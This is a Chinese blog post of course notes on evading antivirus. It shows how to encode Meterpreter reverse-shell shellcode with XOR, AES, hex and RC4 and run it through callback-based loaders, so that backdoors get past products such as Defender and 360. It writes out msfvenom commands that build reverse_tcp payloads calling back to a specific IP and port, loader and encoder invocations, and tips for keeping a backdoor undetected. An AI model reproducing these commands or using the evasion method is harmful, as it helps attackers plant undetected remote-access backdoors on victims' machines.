首页 > 系统相关 >107-免杀对抗-C&C++&溯源ShellCode上线&混淆变异算法&回调编译执行

107-免杀对抗-C&C++&溯源ShellCode上线&混淆变异算法&回调编译执行

时间:2024-10-12 21:43:19浏览次数:8  
标签:混淆 免杀 ShellCode C++ https shellcode

image

知识点

#知识点:

1、ShellCode-分析&朔源&感知
2、ShellCode-混淆&编码&算法
3、回调执行解析-API&汇编&句柄

#章节点:

编译代码面-ShellCode-混淆
编译代码面-编辑执行器-编写
编译代码面-分离加载器-编写
程序文件面-特征码定位-修改
程序文件面-加壳花指令-资源
代码加载面-Dll反射劫持-加载
权限逻辑面-杀毒进程干扰-结束
工具数据面-通讯内存流量-动态

对抗目标:
X60 Defender 某绒 管家 VT等

编程语言:
C/C++ Python C# Go Powershell Ruby Java ASM等

涉及技术:
ShellCode混淆加密,无文件落地,分离拆分,白名单,DLL加载,Syscall,加壳加花,
资源修改,特征修改,二次开发CS,内存休眠,进程注入,反沙盒,反调试,CDN解析等

演示案例

1、C/C++-ShellCode分析-OD&IDA&朔源

2、C/C++-ShellCode变异-编码混淆加密算法

3、C/C++-回调执行代码-汇编&句柄&API&UI等

#C/C++-ShellCode分析-OD&IDA&朔源

1、EXE朔源-IP及端口-杀毒分析
2、编译修改-IP及端口-威胁感知
reverse_tcp.asm
https://www.cnblogs.com/Akkuman/p/12859091.html
https://github.com/rapid7/metasploit-framework/blob/master/lib/msf/core/payload/windows/reverse_tcp.rb

#C/C++-ShellCode变异-编码混淆加密算法

Xor Aes Hex Rc4 Rsa等
https://github.com/Arno0x/ShellcodeWrapper

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 6 -b '\x00' lhost=47.94.236.117 lport=3333 -f raw > shellcode.raw

1、python2 shellcode_encoder.py -cpp -cs -py shellcode.raw xiaodi xor
CS&MSF
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 6 -b '\x00' lhost=47.94.236.117 lport=3333 -f raw > shellcode.raw
python xor.py -s shellcode.bin -d payload.c -n 10 -r out.bin

2、python2 shellcode_encoder.py -cpp -cs -py shellcode.raw xiaodi aes

3、Hex
msfvenom -p windows/meterpreter/reverse_tcp lhost=47.94.236.117 lport=6688 -f c
https://gchq.github.io/CyberChef/
https://github.com/ByPassAVTeam/ShellcodeLoader
LoaderMaker.exe download.dat(hex数据) xiaodi.exe(生成文件名)

4、Rc4
msfvenom -p windows/meterpreter/reverse_tcp lhost=47.94.236.117 lport=6688 -f c
https://blog.csdn.net/weixin_45590789/article/details/105536623

#C/C++-回调执行代码-汇编&句柄&API&UI等

Callback_Shellcode_Injection-main
https://github.com/ChaitanyaHaritash/Callback_Shellcode_Injection

总结

今天主要讲的是shellcode混淆免杀:
1、首先明确为什么不对exe类型做手脚,而是对shellcode做手脚?
因为对exe类型做手脚(如加壳)可以免杀,但是可能导致出错,无法上线。
而对shellcode进行操作,再编译打包成exe,一般不会有这种问题。
2、杀软如何检测到病毒的?
一般是通过逆向分析后门文件,匹配病毒特征检测到的。
3、如何用shellcode实现免杀?
今天讲的是使用加密算法(如XOR、AES、Hex、RC4)对shellcode进行加密混淆,然后解密传入,实现免杀。
4、为什么msf或cs上线了,但是一会儿又掉线了,且IP很奇怪?
可能是对方杀软将后门放在云沙箱里执行了。
5、注意事项:实验完后记得清除后门文件,不然容易被杀软捕获特征,下一次可能无法免杀了。

标签:混淆,免杀,ShellCode,C++,https,shellcode
From: https://www.cnblogs.com/dummy6acker/p/18461562

相关文章

  • C, C++中的宏是什么
    在C++中,宏(Macro)是一种由预处理器(Preprocessor)处理的文本替换机制。宏通过#define指令定义,可以在编译前对代码进行替换,从而实现代码的复用、条件编译等功能。宏在C和C++中都广泛使用,但由于其特性,也可能带来一些潜在的问题,因此在使用时需要谨慎。宏的基本概念宏是在预处......
  • 用C/C++构建自己的Redis——第六章、事件循环和计时器
    用C/C++构建自己的Redis——第六章、事件循环和计时器文章目录用C/C++构建自己的Redis——第六章、事件循环和计时器前言一、超时和计时器二、链表三、事件循环四、链表排序4.1寻找最近的计时器4.2激活计时器4.3维护计时器五、测试总结前言这一章我们将一起学......
  • C++基础——书写“Hello World“
    C++基础——书写"HelloWorld"一、前言二、书写"HelloWorld"1.头文件2.主文件3.整体代码4.运行结果三、总结一、前言首先为大家介绍一下什么是C++。上述描述来自于百度百科!!!二、书写"HelloWorld"1.头文件#include"stdafx.h"#include<iostream>usingnam......
  • c++(自创游戏7.1)
    上代码!#include<bits/stdc++.h>#include<windows.h>usingnamespacestd;intmain(){inta,b,c,d,e,e1,e2,e3,e4,n; n=0; if(n==0)cout<<"这天,你跟往常一样,准备去上班。";n++; Sleep(2000); cout<<endl; if(n==1)cout<<"走到办公......
  • 链表排序算法(C++):数组辅助排序、插入排序、归并排序
    文章目录借助数组排序插入排序归并排序测试用例数组排序算法参考:冒泡排序、插入排序、选择排序、归并排序、快速排序算法(C++实现)-CSDN博客链表排序算法参考:链表排序总结(全)(C++)-CSDN博客这里主要介绍三种链表排序方法,第一种是借助数组进行排序的方法,第二种是插入排......
  • 冒泡排序、插入排序、选择排序、归并排序、快速排序算法(C++实现)
    文章目录一、冒泡排序上浮法冒泡排序(从小到大排序)下浮法冒泡排序(从大到小排序)二、选择排序三、插入排序四、归并排序五、快速排序参考一、冒泡排序冒泡排序应该算是最经典最简单的排序算法,我一开始学习排序算法就是从冒泡排序开始入门的。冒泡排序算法的基本思路:(......
  • C/C++语言基础--C++神奇的多态
    本专栏目的更新C/C++的基础语法,包括C++的一些新特性前言通过前面几节课,我们学习了抽象、封装、继承相关的概念,接下来我们将讲解多态,多态他非常神奇,正式有了他,类才能出现多样性特征;C语言后面也会继续更新知识点,如内联汇编;欢迎收藏+关注,本人将会持续更新。文章目录......
  • 实验一 现代C++编程初体验
    case1://现代C++标准库、算法库体验//本例用到以下内容://1.字符串string,动态数组容器类vector、迭代器//2.算法库:反转元素次序、旋转元素//3.函数模板、const引用作为形参#include<iostream>#include<string>#include<vector>#include<algorithm>usi......
  • 【C++差分数组】P1672何时运输的饲料
    本文涉及知识点C++差分数组C++算法:前缀和、前缀乘积、前缀异或的原理、源码及测试用例包括课程视频P1672何时运输的饲料原文比较啰嗦,我简述一下:第x天运来F1(1<=F1<=1e6)千克的饲料,第D(1<=2e3)天还剩F2(1<=F2<=F1)千克饲料,某人养了C头牛,moves[i]={comi,leavei},表......
  • c++原始字面量
    我们知道在c++中\n作为的是一个转义字符,例如想\n,\t等,但当我们要输出\时,必须要以\\的形式输出,这种方式比较麻烦,而且可读性较差,c++11引入了一种新的表示方式:原始字符串字面量。什么是原始字符串字面量?原始字符串字面量是一种特殊的字符串,它会忽略所有的转义字符,将字符串中的所......